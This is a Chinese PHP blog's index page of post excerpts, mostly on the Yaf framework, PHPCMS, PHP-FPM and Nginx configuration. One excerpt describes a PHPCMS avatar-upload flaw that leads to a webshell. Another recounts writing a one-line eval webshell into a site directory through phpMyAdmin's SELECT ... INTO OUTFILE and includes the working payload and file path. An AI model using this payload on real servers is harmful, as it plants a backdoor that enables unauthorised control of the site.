修改PHPCMS自带采集器部分链接不能采集的BUG 发布时间: 2021-10-19 21:47:11 评论数: 0
最近用phpcms帮一个朋友搞个采集站,发现有些链接采集不过来.简单的修改了一下源码的正则。小记文件:phpcms/modules/collection/classes/collection.class.php 约第181行修改如下//preg_match_all('/<a ([^>]*)>([^\/a>].*)<\/a>/isU', $html, $out); //<---系统默认的注释掉 preg_match_all('/<a\s+href=["|\']?([^>"\' ]+)["|\']?\s*[^>]*&g ......
php框架Yaf路由重写 发布时间: 2021-10-19 03:50:14 评论数: 0
通常为了友好的URL格式,会进行站点URL的重写,可以在webserver(Nginx)的配置中进行rewrite,也可在在程序端进行以下使用Yaf框架进行URL的重写,进行一些整理,方便日后查看YAF的URL重写方式主要有以下几种,可以综合使用方式1:在配置文件中进行;a rewrite route match request /product/*/* routes.route_name.type="rewrite" routes.route_name.match="/product/:name/:value" routes.route_name.route.controll ......
php将文字转ASCII码值函数之ord和chr 发布时间: 2021-10-18 12:23:06 评论数: 0
通过ord()函数获取字符的ASCII码值,如果返回值大于 127则表示为中文字符的一半,再获取后一半组合成一个完整字符$string = "hello不要迷恋哥world"; $string=iconv('utf-8', 'gbk', $string);////由于ord函数在gbk下单个中文长度为2,utf-8下长度为3 $length = strlen($string); var_dump($string);//原始中文 var_dump($length);//长度 //把字符串转化为ascii码存入数组,如果是中文是由两个ASCII码组成,英文是一个 $result ......
phpcms前台头像上传漏洞导致webshell详解及案例 发布时间: 2021-10-16 23:55:07 评论数: 0
什么是上传漏洞 很多cms为了丰富自己的功能都提供了上传头像、上传图片等功能。但如果上传的内容没有做好过滤,则等于说给了攻击者一个执行任意代码的途径。比如攻击者可以在上传一个含有恶意代码的文件,伪装成图片,来绕过后台的检测机制。 以前一般的上传漏洞主要有以下几个方式造成: 0.在客户端用javascript或flash验证用户上传的文件格式,但上传到服务器后没验证。 1.对用户上传的文件只检查了ContentType,但ContentType是可以被用户修改的,所以用户上传的脚本文件可以将ContentType改成image/gif来绕过检查。 2.黑名单机制。检查用户上传的文 ......
云主机八部曲之:安装php5.4.34 发布时间: 2021-10-16 18:32:04 评论数: 0
1、准备类库yum install autoconf automake libtool re2c flex bison zlib libmbfl libxml2 libxml2-devel bzip2 bzip2-devel curl libcurl libcurl-devel libmcrypt libmcrypt-devel mcrypt mhash mhash-devel gd gd-devel php-gd主要准备一些常用的php类库,例如curl、zip、gd等。2、准备用户和组groupadd www-data useradd -g www-data www-dat ......
Yaf之控制器 发布时间: 2021-10-16 01:30:48 评论数: 0
位置:controllers下默认index.php我们访问的时候相当于访问的是http://www.b.com/index/index/index 对应的三个index就是模块、控制器、动作命名规则:控制器文件名不需要以Controller结尾,要继承Yaf_controller_Abstract抽象类,类名需要以Controller结尾,方法需要以Action结尾 例如:user.phpClass userController extends Yaf_controller_Abstract{ public function indexAction(){ ......
php开发规范 发布时间: 2021-10-14 10:32:16 评论数: 0
php开发规范可以让程序员可以了解任何代码,弄清程序的状况;新人可 以很快的适应环境;防止新接触php的人一次次的犯同样的错误;在一致的开发环境下, 可以减少人们犯错的机会 标准化的重要 标准化问题在某些方面上让每个人头痛,让人人都觉得大家处于同样的境地。这有助于让这些建议在许多的项目中不断演进,许多公司花费了许多星期逐子字逐句的进行争论。标准化不是特殊的个人风格,它对本地改良是完全开放的。 PHP 闭合标签 PHP闭合标签“?>”在PHP中对PHP的分析器是可选的。 但是,如果使用闭合标签,任何由开发者,用户,或者FTP应用程序插入闭合标签后面的空格都有可能会引起多余的输出、 ......
yaf框架之Nginx配置 发布时间: 2021-10-13 13:02:00 评论数: 0
server { listen www.lvtao.net; root /home/wwwroot/; location / { index index.php index.html index.htm; try_files $uri $uri/ /index.php?$query_string; } location ~ .php$ { fastcgi_split_path_info ^(.+.php)(/.+)$; fastcgi_pass unix:/var ......
Yaf之请求与响应 发布时间: 2021-10-12 08:43:20 评论数: 0
Yaf_Request_AbstractYaf_Request_HttpYaf_Request_SimpleYaf_Request_Abstract::getException 捕获异常Yaf_Request_Abstract::getModuleName 获取模型名称Yaf_Request_Abstract::getControllerName 获取控制器名称Yaf_Request_Abstract::getActionName 获取方法名Yaf_Request_Abstract::getParams 获 ......
使用php-fpm日志分析占用cpu过高的原因及SQL语句 发布时间: 2021-10-11 01:58:38 评论数: 0
PHP-FPM 提供了慢执行日志,可以将执行比较慢的脚本的调用过程 dump 到日志中。 PHP 5.3.3 之前设置如下:<value name="request_slowlog_timeout">5s</value> <value name="slowlog">logs/php-fpm-slowlog.log</value>PHP 5.3.3 之后设置以下如下:request_slowlog_timeout = 5s slowlog = /usr/local/php/log/php-fpm-slowlog.log ......
Yaf类库的加载 发布时间: 2021-10-11 00:35:11 评论数: 0
分全局类库与本地类库,它会优先加载本地类库全局类库在php.ini或ext-Yaf.ini中的yaf.library来指定本地类库为application/library中,配置见application.ini中的application.library来指定,当然是有默认值的啦我在使用的时候貌似全局类会自动加载进来,但本地类需要手工指定规则,我的做法是在bootstrap中做加载Yaf_Loader::getInstance()->registerLocalNamespace("Tool","Foo"); 所有Tool开头的及Foo开头的类自动加载也可以在applica ......
验证身份号、根据身份证号获取星座和生肖等 发布时间: 2021-10-09 06:52:24 评论数: 0
<?PHP // PHP根据身份证号,自动获取对应的星座函数 function get_xingzuo($cid) { // 根据身份证号,自动返回对应的星座 if (!isIdCard($cid)) return ''; $bir = substr($cid,10,4); $month = (int)substr($bir,0,2); $day = (int)substr($bir,2); $strValue = ''; if (($month == 1 && $day >= 20) || ($month == 2 && ......
Yaf系列使用之CMS系统基础搭建 发布时间: 2021-10-08 08:50:22 评论数: 0
此文仅适合有一定基础的朋友看看.说是CMS,其实最初想做的是个小论坛,然后又变成了一个文章管理,与其说是CMS,不如说是个小新闻系统或企业站撒的,话虽这么说,我也是假装客气客气。咱先写个小的,思路有了,再想其它的...所以你现在就当我们在用Yaf写一个小企业站Yaf的优势不多说啦,我在搭建系统的时候,因为不是为了做一个小站,所以比较折腾,当然如果你只是用它写个小站,也没必要折腾Yaf了不是。至于Yaf的环境配置撒的一些基础的,可以看我之前博客,然后就是使用中不明白的还是多看看鸟哥的官方文档。还是那句话,我写的只是我现在用的。。。甚至可能不是最优方案。我们就当入门目录结构app ......
php 后期静态绑定 发布时间: 2021-10-05 23:12:51 评论数: 0
最近因为工作的原因没有什么时间自己学习一些新的东西,那就翻翻之前买的书,看看之前看过忘记的知识点温习一下,刚好看到一个知识点在学习一下,php的后期静态绑定 PHP 5.3.0 起,PHP 增加了一个叫做后期静态绑定的功能,用于在继承范围内引用静态调用的类,这个是php官方的解释,即在类的继承过程中,使用的类不再是当前类,而是调用类。后期静态绑定使用关键字static来实现,通过这种机制,“static::”不在解析为定义当前方法所在的类,而是在实际运行时计算得到的,即运行时最初调用的类。虽然将其称之为“后期静态绑定”,但它不仅限制于静态方法的调用 请看下面的实例 <?php ......
命令行模式运行yaf框架应用之cli模式 发布时间: 2021-10-05 11:17:19 评论数: 0
为了更好的与web区分(配置文件,argc、argv判断等等).重新创建一个入口文件是比较好的做法。$app = new YafApplication(APP_PATH . "/conf/application.ini"); $app->getDispatcher()->dispatch(new YafRequestSimple());这样入口文件就完成了。接下来,你需要学会Yaf命令行的调用方法。来一个示例:php cli.php request_uri="/daemon/start"Yaf_Request_Simple的构造函数可以不接受任何参数, 在这种情况下 ......
Yaf之路由 发布时间: 2021-10-03 23:28:12 评论数: 0
Yaf的路由很灵活,这儿介绍两种,它默认的那货需要写伪静态,我本地测试的时候咋个整也不成功,于是乎就有了下面这东东了...路由器主要负责解析一个请求并且决定什么module、controller、action,默认情况下,我们的路由器是Yaf_Router, 而默认使用的路由协议是Yaf_Route_Static,是基于HTTP路由的, 它期望一个请求是HTTP请求并且请求对象是使用Yaf_Request_Http通过application.ini定义路由[common] ;自定义路由 ;顺序很重要 routes.regex.type="regex" routes.regex. ......
Typecho评论模块个性化 发布时间: 2021-10-03 01:55:32 评论数: 0
老早就想研究下这部份,一直拖到现在。 主题设计时,评论模块希望设计得独特,富有个性,就需要修改评论结构,而 typecho 默认模板中提供给我们的只有一行简单代码:<?php $comments->listComments(); ?>把结构都写死了。当然,其实官方的博客中有一篇文章已经声明可以自定义评论结构,只是不太详细,有点摸不着头脑~于是今天抽空折腾了下,总的来说是 在 comments.php 开头部份加入如下方法即可实现自定义。<?php function threadedComments($comments, $singleCommentOpt ......
Yaf之application.ini配置 发布时间: 2021-09-30 19:35:59 评论数: 0
遵循php.ini配置方法定义配置块[lvtao] application.directory = APPLICATION_PATH "/application" [memcache] memcache.host=127.0.0.1 memcache.port=12211使用这个块 这个product在全局配置中有写的哟~~~默认值[product : lvtao]但上面的示例中还有一个memcache的参数没有调用到,如下使用[product : lvtao : memcache]也可以自定义配置块中的相关参数,举个粟子application.lvtao = "i love ......
phpmyadmin写入一句话木马 发布时间: 2021-09-29 15:36:03 评论数: 0
额~偶尔拿到一个config中,发现是root,且还有phpmyadmin。好吧,试试select'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\Web\wp-content\errors.php'提示成功了,可是构造地址访问,提示404,看来没成功,应该是转义的问题接着尝试:select'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\\Web\\xxx.xx.vn\\wp-content\\errors.php'再次导入,提示成功,访问后发现真的成功了。 ......
Yaf之视图 发布时间: 2021-09-28 20:09:16 评论数: 0
Yaf默认是开启了自动渲染,所以建了action后,他就会自己找模板!在测试的时候,如果不想让他寻找模板可以在action中return false 或者在bootstrap.php中关闭渲染Yaf_Dispatcher::getInstance()->autoRender(false); 或者 $dispatcher->getInstance()->disableView();默认模板文件后缀为phtml,想修改就在application.ini中配置一下就OKapplication.view.ext = "html"自动渲染时模板文件路径:applica ......


友情链接: php5000技术知识分享 github 码云 开源中国 csdn linux中国 阿里云 unix技术网 composer中文网 php packagist php python 安卓软件 大众源码 DevStore 猪八戒威客网 人人都是产品经理 PHPwind论坛 互联网的一些事 新客网 黑马程序员 火星时代 hao123it ThinkSNS 开源社区 51CTO学院 办事儿网 IT论坛 java教程 最代码 程序员客栈 大数据培训 小程序开发 微信小程序 php开发新闻 微信小程序 java学习 微信小程序 Linux书籍 网站ip流量 xw素材网 新浪云 腾讯云 华为云 百度 新浪 网易 淘宝 腾讯 1688 搜狐 优酷 房天下 hao123 携程 天涯社区